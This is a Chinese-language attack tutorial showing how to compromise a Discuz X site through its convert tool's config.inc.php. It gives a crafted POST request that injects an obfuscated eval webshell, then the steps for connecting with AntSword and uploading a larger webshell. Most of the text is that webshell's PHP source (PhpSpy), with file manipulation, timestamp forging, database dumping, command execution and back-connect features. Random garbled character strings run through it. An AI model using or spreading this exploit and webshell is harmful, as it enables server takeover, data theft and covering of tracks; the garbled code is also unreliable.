|
攻击思路:- t( b5 a ]7 q1 P3 h
想要拿下一台主机A的权限:2 |, w3 N8 S, t9 R; z+ R# [) P
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
% H* A- e8 N6 q+ n; x2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权7 y5 i3 [# l# L% i: |4 S' Z
3、传上去后,得到apache用户普通权限,再提权成root
( m6 s* J4 J: O1 P( b概述:8 c- R7 Z7 M7 Q! y+ D- @/ m& a* i& s
这突破在一个DZ X系列自带的转换工具里面。
; s% H) B3 K% ^- u4 A; D漏洞路径:utility / convert / data / config.inc.php
' q: U( f2 T& \! b- f! I* a+ B漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
9 |% n$ N# ?$ S5 w) _; ^触发突破过程:
) M+ `" S' w+ H" a/ }& Z' j1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
7 {3 K8 i# o/ U! H2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序! i- ^# W5 C% M4 @# U
攻击过程:
, E& g7 H9 y/ m# c! b& M1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
) C0 q1 O; W3 K: ~1 Y) ^3 d
: V: T: X/ D8 ]/ M; a
& ^0 }0 b, }# N( `; f2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马0 n5 Z0 O9 T4 e& B" J0 j$ n

# {) M( d) S3 W9 T8、通过中国蚁剑上传大码
) P1 A0 ?# F$ `6 A% u
% w* W0 g0 n7 @$ S9 b 0 f1 Q4 d; H+ x4 \
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php3 c. V( M0 n, H7 w3 L. D& j
-
' w7 ?! G6 G* V' _ - /*****************************************************************************& L4 L; I( D( e' s8 Q8 r- d1 M
- . M3 Z- Q! H5 F( F: y! x
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
0 w: [- S5 x8 [2 o }) O* M7 V - 6 i2 D& ?5 B, u- E
- ====* D& }1 G, `- x: \6 }9 [# G
- ; {/ B+ { w: C1 ?" s, h
- * X3 E, e$ {# c) n! ~( r7 P
- *****************************************************************************/
. j1 S4 c, g2 G: _ -
2 ], x) w- N! i8 D - error_reporting(7);
! k2 I2 @+ o2 { - @set_magic_quotes_runtime(0);& Z( u* t% i7 w& v, y
- ob_start();" g$ D% x4 b2 |' H% I( {3 N
- $mtime = explode(' ', microtime());9 o m) p6 w. \- U2 J S
- $starttime = $mtime[1] + $mtime[0];
1 \+ F9 C& i+ Z$ L( }' P - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');7 w1 ^# m8 J8 W. L' `" e
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );0 Y V) O6 l; W" b4 {) k
- define('IS_WIN', DIRECTORY_SEPARATOR == '\\');8 l- @! T6 s) P8 U
- define('IS_COM', class_exists('COM') ? 1 : 0 );
F) T5 b, s; q; _ - define('IS_GPC', get_magic_quotes_gpc());3 i6 V, t2 C, T+ i
- $dis_func = get_cfg_var('disable_functions');
{4 d! d' p; `) @8 N) H - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );7 }0 S8 T' Z% L
- @set_time_limit(0);
7 e _( J8 h1 x1 o" d -
0 @/ Z3 A8 s8 g, ^* N( g$ V7 P6 T - foreach(array('_GET','_POST') as $_request) {
% f( s* M. [8 @0 z - foreach($$_request as $_key => $_value) {' U0 B% Q7 k$ N9 o7 Z' r
- if ($_key{0} != '_') {
, H+ n/ B) h) a! n6 m f - if (IS_GPC) {; L: M5 c# F! e0 ?: c
- $_value = s_array($_value);
- m- z( M! w( i% t" [7 @- w8 J, g - }
: F, Y3 u) C& w8 p% f8 t - $$_key = $_value;$ C: J: x) t: H0 E- J9 ^0 U C
- }
" Q( g* n1 {/ r; ] - }
# i' s+ Z- G2 S, u" ] O - }
g, Y1 O8 L" a! ] -
8 v; y# o/ u, u+ j - /*===================== 程序配置 =====================*/
3 F; p% D6 c1 k% J( d$ C+ E. h8 ? - $admin = array();* Q% B. {+ j/ r5 c2 N# n
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
0 @+ M) }* Q* L H. p - $admin['check'] = true;% W5 Y$ i2 k4 @- I& S( u" Z; z
- // 如果需要密码验证,请修改登陆密码
% B8 a& [3 X1 l( r - $admin['pass'] = 'xuegod';' _1 A. P1 I& I" C
- 5 U' u, E; x4 ~9 w' K y4 u2 E
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认* [8 e) V* U P5 L9 } r+ S' R
- // cookie 前缀
! M/ a' J+ g5 j; [ - $admin['cookiepre'] = '';3 a( t. Y' f2 R5 R: [; R4 u& |
- // cookie 作用域, u1 _/ o( m6 G! y* b
- $admin['cookiedomain'] = '';
) @$ F$ R" |0 ^" Q$ Q - // cookie 作用路径
! Q* m. J0 p1 x. I6 p - $admin['cookiepath'] = '/';
8 I4 Z1 c* k; e - // cookie 有效期% k; |# p6 m: r
- $admin['cookielife'] = 86400;. q6 `! k9 K$ U4 h8 A3 R+ \3 Y
- /*===================== 配置结束 =====================*/' J: n: k3 ]! l. i
-
( |* a V0 y1 L3 Y6 w3 X - if ($charset == 'utf8') {/ R) S/ k, J8 j4 B$ a
- header("content-Type: text/html; charset=utf-8");5 q6 S% ~4 [) [( N a$ l3 j
- } elseif ($charset == 'big5') {
- i o6 A3 N; x% e: D, s8 R - header("content-Type: text/html; charset=big5");
0 J" M& \" H5 `+ P: A - } elseif ($charset == 'gbk') {
1 G: \; s4 Z. v4 m* R - header("content-Type: text/html; charset=gbk");; O7 a0 q+ x5 x; E
- } elseif ($charset == 'latin1') {
& A3 ^% z4 X' ]3 }1 @2 j8 ]: I - header("content-Type: text/html; charset=iso-8859-2");, k4 J) M8 y9 y# ?
- }
$ v& `9 V- t8 K4 S% h& x( L9 p. Y$ u -
% g4 a- }( e( p' v8 W: [ - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];& E5 z( a' @ R f
- $timestamp = time();. F) j- x4 D7 w" X
-
& C, C9 _7 U2 d" _/ J, w - /*===================== 身份验证 =====================*/
- P% D! Q- m: Q; a% H - if ($action == "logout") {6 T: N2 M3 [" h. w
- scookie('phpspypass', '', -86400 * 365);0 M) E3 I% D$ l. Z0 q5 C- `# i' [
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
4 n1 m5 B1 F0 ?$ j - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');3 X. ?" E/ ]" b/ S* J3 `7 |
- exit;
$ o& z$ Q+ [/ f a; o- T - }, A& e4 D( s' _: q& W! _$ @
- if($admin['check']) {
6 Q$ b- M3 B8 Q - if ($doing == 'login') {
: b% W% d" z& Z9 K - if ($admin['pass'] == $password) {" ]8 ]* j O: x. \% a9 N: ^
- scookie('phpspypass', $password);
G6 `: G7 ~# ]2 r; U, W - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');" x6 X% J6 k: Q; g
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');7 J7 o1 M6 B! r6 u$ k$ u! M
- exit;
& f9 x* G+ M' G( g1 B - }) Z+ ~3 d% T7 Y6 E6 ?
- }
/ [, {6 u1 ~0 d1 W) A7 \ - if ($_COOKIE['phpspypass']) {
4 |% ^ L0 v T" V& P+ Z- h {6 s - if ($_COOKIE['phpspypass'] != $admin['pass']) {# K! H) k& b. j: b- ]- S: ^! W8 H
- loginpage();
5 g/ x2 S: S' r E, M$ h4 b: v - }
+ t. U3 v8 Q' O% Q4 n# V+ u - } else {" t A- r8 }- R/ b5 f0 V; S, O; I! ?
- loginpage();
. i5 _1 e1 E6 ^6 j - }
' A1 s8 d% k- Z8 x - }9 O# @. k( l0 D3 r+ ^* q
- /*===================== 验证结束 =====================*/) C! x- q' W" r7 Z. J! Q
- / v6 z' m" k. l/ j
- $errmsg = '';
5 Y5 r$ k: }0 k& N -
9 M0 b$ u3 N! r# Y* y. h - // 查看PHPINFO
) T! F+ K! P2 I; B& s2 G - if ($action == 'phpinfo') {
& e: | e2 @" @ - if (IS_PHPINFO) {
1 x) o' n- m6 T- w - phpinfo();
0 ~1 X# X4 w1 _, i8 | z! _ - } else {& ~; A Y# H& \5 d" W# V2 @
- $errmsg = 'phpinfo() function has non-permissible';% m) i1 X' f+ Z6 P( W. s9 ^2 r# ]7 a
- }
; m1 b, r' e) z2 m# z) H - }; A( c+ E0 M6 H4 A' ]9 Y, ?" |) b
-
$ b; O: ]2 N) R: C [' T - // 下载文件
7 N! [' w' x$ T# p$ ` - if ($doing == 'downfile' && $thefile) {
2 K t- ~% ^3 K* o2 P5 x - if (!@file_exists($thefile)) {
0 i* a/ \( c( Z1 \ - $errmsg = 'The file you want Downloadable was nonexistent';, j$ v5 \/ E7 v' t& t+ Y; t
- } else {( @0 k" f) u) G& f3 [# S0 `7 f# [
- $fileinfo = pathinfo($thefile);3 T' c0 m M( y; T1 n
- header('Content-type: application/x-'.$fileinfo['extension']);
% h0 a, R* N& N" T - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);' }1 I. i& n) D$ J( Q! z4 p2 j0 ^
- header('Content-Length: '.filesize($thefile));, s; K. q4 \8 d4 x
- @readfile($thefile);
! \. s8 P! o" M/ _$ H) R - exit;7 P+ I1 F, `6 ~
- }
$ C4 t5 i4 O, B4 j - }
% V+ A6 J/ p4 z! L$ M - * M, J9 \) b$ H5 W
- // 直接下载备份数据库
; R/ \1 r1 t/ [3 g - if ($doing == 'backupmysql' && !$saveasfile) {0 W0 R) K: @+ L, \/ w
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);; \; @+ E7 n' n9 d
- $table = array_flip($table); i7 i+ S" ? G
- $result = q("SHOW tables");( u2 B, s* R4 \6 K6 {5 E. ^5 h
- if (!$result) p('<h2>'.mysql_error().'</h2>');
" M$ q- t# B/ l8 M- K; V1 T8 ] - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
8 P' W8 [# `7 A, t; R - header('Content-type: application/unknown');) a! r& i& M) ?' w. D) `3 K3 H, e! _
- header('Content-Disposition: attachment; filename='.$filename);% i; L$ X: o8 E! O$ n. T
- $mysqldata = '';
$ {7 [. M) G0 d$ m - while ($currow = mysql_fetch_array($result)) {! o7 \4 n" x! J% m9 Q
- if (isset($table[$currow[0]])) {: Y' f' H* v2 G4 W& l
- $mysqldata .= sqldumptable($currow[0]);) ^5 F0 Q6 W2 u9 s2 y
- }
# G; E$ f. c- {$ w' V1 `- _. b, S - }( ?) O& C8 |# [4 y3 G+ l. u
- mysql_close();
& R& x7 ~* m4 G% U8 D! A - exit;( r, j X9 t0 f" H: U
- }
/ o; @8 C! C5 R7 L+ c# a4 \ - 7 d9 s- i. s. O4 X2 a
- // 通过MYSQL下载文件
2 Y; k7 M" v2 p- \) z1 p+ ^ - if($doing=='mysqldown'){/ Z+ `* `$ n( C1 n ^ B
- if (!$dbname) {
2 [- g! Y, e7 k2 Q - $errmsg = 'Please input dbname';
# @! F1 t* H" p- z0 j3 n - } else {
1 u+ g; ^) k2 Q7 k. t3 c - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
3 z: B# D* Y2 M1 y6 j& o7 [1 S - if (!file_exists($mysqldlfile)) {
, R* D7 `) ^5 A( J, _/ N! D. P& \ - $errmsg = 'The file you want Downloadable was nonexistent';' i: l9 Y1 [0 \( p2 D4 a$ e0 e
- } else {% ]0 d3 D* V) e: y$ f6 @: b
- $result = q("select load_file('$mysqldlfile');");4 W3 p( K% W6 F) B2 D1 {4 o! {
- if(!$result){
2 o& k2 o7 N- @9 y! h: ~9 M8 _4 i - q("DROP TABLE IF EXISTS tmp_angel;");
" D0 m! L3 j$ }! C- d - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
$ T4 w* M& O/ y, f1 _ - //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况2 @) r6 K8 f0 G9 Z& I
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");8 g/ U. |( Y s, v: ?
- $result = q("select content from tmp_angel");, S+ o, Y& p7 d3 u5 b% R: |
- q("DROP TABLE tmp_angel");; q, T8 y) K* A
- }
! D, e0 d( n" R! E( h - $row = @mysql_fetch_array($result);3 E4 G/ u$ b6 A/ {) i' ~; p' \
- if (!$row) {, @- \! `9 y9 h% }' N
- $errmsg = 'Load file failed '.mysql_error();
' r- T1 Y* l3 G - } else {
2 t/ w D/ q0 y; o" b2 ] - $fileinfo = pathinfo($mysqldlfile);
( J9 Q# W3 Z( ^- Z* z! c- g7 ~ - header('Content-type: application/x-'.$fileinfo['extension']);
4 L7 L' }8 N4 K- ` - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
' p/ e' H3 x1 [* i - header("Accept-Length: ".strlen($row[0]));: J1 O2 U4 z. k" {! Q. q
- echo $row[0];
+ t: S& X$ S9 \ - exit;
' I" F r8 W, X0 e- c" a - }
0 N! L1 h4 w1 c( ]" { - }
0 D1 |8 Y: K" B6 G - }
9 A$ |/ b6 x& I# Q - }
) x m4 s* C5 J( ]4 E4 X5 ? - : P: Q+ |3 S6 I% U
- ?>3 P% E m* G# [7 K
- <html>
# ]9 Y g+ B' \ - <head>
- y. ]( I7 R* w) U% u - <meta http-equiv="Content-Type" content="text/html; charset=gbk">" v, D% W2 C! k$ [5 D
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>" j$ e$ f6 w ^6 v9 n
- <style type="text/css">1 }) k1 ^, G! R: [/ F+ E3 P% \' y
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}9 o* J9 ?# l" V0 u( i
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}! f. x% o L# A! G
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
4 G! Z7 Q U- l1 f3 D R - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
7 ?8 o7 R) e+ @+ I: {2 U - a {color: #00f;text-decoration:underline;}
. }! b/ s" M+ L8 w( }8 \ - a:hover{color: #f00;text-decoration:none;}
9 Q! K- J1 n8 h6 V - .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
3 a7 O3 R b: S6 d6 d - .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}( G, z" w3 ?! y9 x6 J+ x8 t9 [
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}9 q, ?/ b" ^" Y! n
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
8 j7 ^, \/ S: @7 q - .head td span{font-weight:normal;}# j; M% m0 O' b
- form{margin:0;padding:0;}' C; }0 S# A. e5 v
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
' x; d v5 @0 m - ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
4 a% ^. L, e5 _7 I7 m! E# n - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}1 f/ G" F, _ g' u8 C
- </style>+ M/ ]7 V3 }% |) V- [# Y \
- <script type="text/javascript">! L. d% u3 k5 Z
- function CheckAll(form) {
$ J1 `8 L: U1 K1 A/ ~ - for(var i=0;i<form.elements.length;i++) {
% V+ ~! F- j+ V7 Z4 X- I, S - var e = form.elements[i];
# T5 X. \: h3 p$ e8 ^% c7 X - if (e.name != 'chkall')
, B3 C" K" x: R9 G D7 M* ^8 ? - e.checked = form.chkall.checked;
8 d- l4 Z5 d3 I# S4 l' D; b - }1 |3 @, I& s4 W: X! s) X O
- }8 z1 G* j+ ~" t- {$ j Y
- function $(id) {
, Y0 ^. V$ p8 }+ U, S" l6 u$ ~ - return document.getElementById(id);
' d$ m2 _5 s2 ~) ]4 r3 Z. p! H - }
+ p! K% G; e6 t! y# D4 J - function goaction(act){4 O& m! o. E; A
- $('goaction').action.value=act;& Z% K$ E( B: T a0 v8 }
- $('goaction').submit();
2 Y4 i. t1 T$ I& o - }) ^5 b" W) v9 o9 D
- </script>
9 p$ r+ Q( P5 I - </head>
& Z: A7 o) E3 D9 T - <body style="margin:0;table-layout:fixed; word-break:break-all">
8 |# O! L- g- L5 @ - <table width="100%" border="0" cellpadding="0" cellspacing="0">' y3 s/ a' b: L
- <tr class="head"> f F3 I Q: [! C! F/ M
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
5 c( D1 ^$ D& C - </tr>$ p2 Q: ~$ b2 O3 f& V# r# o% h
- <tr class="alt1">
' s6 ]* z- b6 S& w1 S$ c( h( a. l - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>2 @3 B1 ~( w( M2 ^
- <a href="javascript:goaction('logout');">Logout</a> |
+ X( [7 m$ p. s# N+ O( y2 | - <a href="javascript:goaction('file');">File Manager</a> |
" I( a3 \) c$ y7 C% j - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | / S, e. z5 F- x4 c! ], d
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | - C, `0 F2 E: w* {2 a+ S
- <a href="javascript:goaction('shell');">Execute Command</a> | 8 R# ?! o& W& y2 Z' g) K5 y; M
- <a href="javascript:goaction('phpenv');">PHP Variable</a> |
! F" C; V7 B! q- K# Q( y# t# D1 ^9 d - <a href="javascript:goaction('eval');">Eval PHP Code</a>0 A. P8 d! p) c9 A' G: \
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
: T+ `" i( D$ ?! [' q - </td>' d& I' _' g5 [+ G' _' S3 u
- </tr>
6 `2 l a E# f6 l; `* Q' Q - </table>: {" L9 H6 {% l1 B
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
6 z3 A+ H) K4 K - <?php0 U) z6 G& z/ u0 f
-
' h/ G7 P( }- h9 j& u - formhead(array('name'=>'goaction'));, k7 H* `( K. D# f" M% k$ e
- makehide('action');+ i5 u) n' o% \4 e
- formfoot();" D! A4 d' V, _+ v
- 1 H! p9 l: I# g! l& d
- $errmsg && m($errmsg);; m; I: f1 ^6 d$ t7 _% F% c
-
b0 z7 [ |- q - // 获取当前路径) S/ P. t R1 F: j; ^
- !$dir && $dir = '.';) z; w, l$ t6 Y9 r/ s
- $nowpath = getPath(SA_ROOT, $dir);
8 E- l' h( E! e3 O - if (substr($dir, -1) != '/') {
/ w' M' _% V, e# Q" `1 T - $dir = $dir.'/';8 @# J8 f6 L9 j' \$ u8 {
- }2 ]" x, U0 g8 g
- $uedir = ue($dir);) k F- H7 L9 u, Z- i; j% l# \
- Q1 }0 ~, N3 S+ c7 I- ]9 v
- if (!$action || $action == 'file') {8 N8 K: w: [ E2 y
-
' c- J: }7 a* K* u1 N7 V6 U" k - // 判断读写情况* h' ^% u, G/ o
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
8 S5 i' x, I, I) b5 W7 S0 ` - % |$ G3 O6 h( e J+ e5 d
- // 删除目录; J. [5 J& H4 E! D% s6 p; X8 H4 n
- if ($doing == 'deldir' && $thefile) {
/ @' a% i; _. |, _4 r+ i5 U - if (!file_exists($thefile)) {
2 P- b; a0 G; H& i - m($thefile.' directory does not exist');8 Y U! H, n) g& \7 B
- } else {
2 y; a0 A# `+ ^) Y# c2 R5 u - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));; G5 r3 a! O4 l; p7 ?+ \4 K7 i* R6 y
- }
$ ^* m/ i( t/ } - }2 v2 N0 \/ E: x7 |, h" h
-
9 E: c' }3 w5 n3 c! Y4 P; i - // 创建目录: u3 r& o% P4 h7 B- A0 F
- elseif ($newdirname) {7 F8 O0 G" g- F" f" D" v
- $mkdirs = $nowpath.$newdirname;+ a( A8 U4 c5 _8 K
- if (file_exists($mkdirs)) {. u$ \# f) _5 J
- m('Directory has already existed');
. P4 a; a9 `3 L; U: } - } else {
9 O, x6 H& g* b! q; _! M - m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));' h9 ?( x9 w, `$ i" Y, p# O
- @chmod($mkdirs,0777);
& I4 a9 O7 q6 A v! C - }# E* J4 y/ R+ y( Z4 ?8 x
- }
. G7 L2 I) Y: [# @( h" |2 @ - : ]1 x+ y5 c3 z8 U) q
- // 上传文件 D/ k% c4 y; Z1 g
- elseif ($doupfile) {0 X* f& F, v* c* Z( ]0 q
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));5 J: X5 n, S0 y) F
- }
" ^5 }0 w3 g2 Z* U( _ -
9 J4 n; X4 g, Z# l. ? - // 编辑文件
, v, s% h7 U$ d - elseif ($editfilename && $filecontent) {
! B2 o. u9 z: p( e8 h# ^ - $fp = @fopen($editfilename,'w');' @- V, M& s, o( j+ v
- m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
- R. P; o1 l' [- `0 A8 q& q - @fclose($fp);* R- c" X$ j2 B8 J9 M$ Y9 B+ u& S
- }
; g7 D- d$ g, x: J9 ?! z1 v6 w% o - v1 R' \9 F/ L$ u/ c- p, r% L
- // 编辑文件属性
( |: u/ i; y2 W4 Q) e - elseif ($pfile && $newperm) {" Z( m7 j. B3 T$ x3 G/ r
- if (!file_exists($pfile)) {
5 t: L# ^* n1 C: o7 [# i - m('The original file does not exist');
5 o1 Y: [4 h" ^4 w2 V! `: s - } else {2 ~2 _9 K$ ~+ ]. b9 h: W
- $newperm = base_convert($newperm,8,10);* Y4 _, V9 _8 ^7 A9 {9 Q
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
% d/ O9 o2 ^5 \ - }3 g/ ^& i( q& \3 Z/ e- Q8 D, A
- }6 m& V! L& v" n6 R8 O& {: w. }9 {( t
- 0 v- l2 C9 G4 _# R
- // 改名' x7 [8 L& F$ o$ W1 ?: I2 z7 i r
- elseif ($oldname && $newfilename) {
$ r7 }8 F" H: c- R - $nname = $nowpath.$newfilename;, O) H `3 X$ Y2 ?
- if (file_exists($nname) || !file_exists($oldname)) {% d3 i8 s) z9 b- R* \
- m($nname.' has already existed or original file does not exist'); V8 k' T; c6 f
- } else {( G& c; K" ^, u u
- m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));/ f8 b: H) q( U) m
- }% b, F! y1 A3 F% K( T4 k" B& v
- }
- W! D/ @5 l% N2 b -
: Q+ E6 x7 D0 B( g' J) ?3 C - // 复制文件. t( y$ V- L0 n' F
- elseif ($sname && $tofile) {
1 E) G) D, F' U- a4 m - if (file_exists($tofile) || !file_exists($sname)) {8 O9 o. m- h' O" \: z
- m('The goal file has already existed or original file does not exist');4 w9 Q0 q& ~6 z) K1 ^- Q
- } else {
* o, D! f/ }* p1 n' s - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
! Y* i6 o! S- C. a% w+ r, a - }% I) W9 M+ F" v2 }" b3 _
- }
6 N+ o3 S7 L- m# R - # H' z K# h" i. p& y6 h
- // 克隆时间2 X- ?! G$ W4 |; t5 z. i
- elseif ($curfile && $tarfile) {' y. h8 U2 f6 J5 J- l! o
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {- N$ K/ `$ S0 f4 I
- m('The goal file has already existed or original file does not exist');) g: h3 c4 u' @ D
- } else {
, N/ L* `+ j: G( i: d - $time = @filemtime($tarfile);: k" z/ B, G* J! D; H
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));; S4 O0 e0 m' L5 V* Z! h: u0 h' m
- }# V7 H6 c6 \7 \; O! B0 `
- }
9 x; C' T$ W7 F! p* G -
* S1 r2 g5 U( T - // 自定义时间
9 Q3 w# K( w" W4 Y - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
: [8 A$ n/ T2 }. x) M6 T - if (!@file_exists($curfile)) {4 U5 W$ _* o t6 y. j
- m(basename($curfile).' does not exist');
; \# G' @ p( ~+ c6 m8 ^ - } else {. g- { {# S0 m! O6 J' W9 L
- $time = strtotime("$year-$month-$day $hour:$minute:$second");
5 m% [. {* p5 Q& k7 S x - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));/ K4 K r* `1 N& W, S; Q
- }) i1 y/ Q/ m2 Z# f3 d; v" c
- }
5 _) @9 g; Y5 \, v - 8 ?6 r% B4 p% o8 o) h0 `
- // 打包下载
" f3 F" k# D+ ~8 x/ Y - elseif($doing == 'downrar') {6 X* F4 P' X9 W& o0 e3 M1 j
- if ($dl) {4 w- f5 E) p* t% p6 G0 r4 C" g
- $dfiles='';0 v" N4 d+ H# F3 R5 o \
- foreach ($dl as $filepath => $value) {
7 A$ h5 b3 F9 X; F. s/ _- ^ - $dfiles.=$filepath.',';. x% o5 Z5 ^ O0 ^; q
- }) [9 {, p1 O$ h, z& d# X$ E7 E( E
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);
' A Y1 B+ q# M" ^8 g - $dl=explode(',',$dfiles);
$ s% Q, T6 c3 z, u" B/ O - $zip=new PHPZip($dl);
0 K0 Q m+ G/ n. u& j1 s - $code=$zip->out;; I" ~* r5 P% @( c7 x b, D+ ?2 q
- header('Content-type: application/octet-stream');
2 [0 ]/ A- ^/ O - header('Accept-Ranges: bytes');& R3 y4 c8 d) j6 {2 @
- header('Accept-Length: '.strlen($code));
* e5 a7 W$ @/ Y4 z+ ]( h7 G - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');8 C- y& h: n. C/ D/ e, u
- echo $code;2 P0 e- H: W8 F; M* }
- exit;1 ~0 l" H( s) g7 z. T5 |, o! V# e4 z7 s
- } else {- M, P3 [$ P4 D) `+ i
- m('Please select file(s)');% X+ D$ t) y. n6 I5 D% I
- }
7 n. q( ~2 t a& |! c3 \- ] - }
4 z% J/ D- M# e$ I) i& L$ C - & z$ k$ ]7 U' Y( T }! Y, [4 C
- // 批量删除文件
) Z" K) `9 v) ?) x: j5 k - elseif($doing == 'delfiles') {, `: g. N6 r0 Z4 K! o( W2 Q
- if ($dl) {( ?& `: U( X! x+ P7 C% }" C
- $dfiles='';5 O) y7 `4 ^5 ~" H5 _
- $succ = $fail = 0;' u" d* O/ I7 |7 U n/ w
- foreach ($dl as $filepath => $value) {
& t, _; K# m S6 o) W0 F! m - if (@unlink($filepath)) {1 w( i$ T* ]' p m" b
- $succ++;
1 p. d- E8 W: Q5 v - } else {
|1 y0 z3 h6 m& {) Y) m6 ^ - $fail++;
% K9 X' E8 _' `8 y* k, v) `. p - }
- S4 R+ T. G9 X& {2 i8 k! C - }( L; }/ F3 h& M
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);- d+ x/ U/ Z6 o( n+ b9 X, L
- } else {
% P G7 F7 o. O - m('Please select file(s)');
% S7 H0 A9 `1 h- s - }
# F6 `( q% N6 b9 R3 E* S - }
1 N# O1 S; \6 H2 Y$ n% j - 7 `: X# H d7 z5 f9 T1 T
- //操作完毕
& m- o" l+ e: E8 ?8 V - formhead(array('name'=>'createdir'));$ t. |( j( Q" s) x
- makehide('newdirname');3 K& A3 x) _2 c0 e/ q4 X
- makehide('dir',$nowpath);9 e1 @% n% U6 f3 c
- formfoot();& M! y9 y, a& W' j0 i
- formhead(array('name'=>'fileperm'));
$ K% n& R* C6 ^, [. D - makehide('newperm');
# T U; t" P6 Z4 `% ` - makehide('pfile');
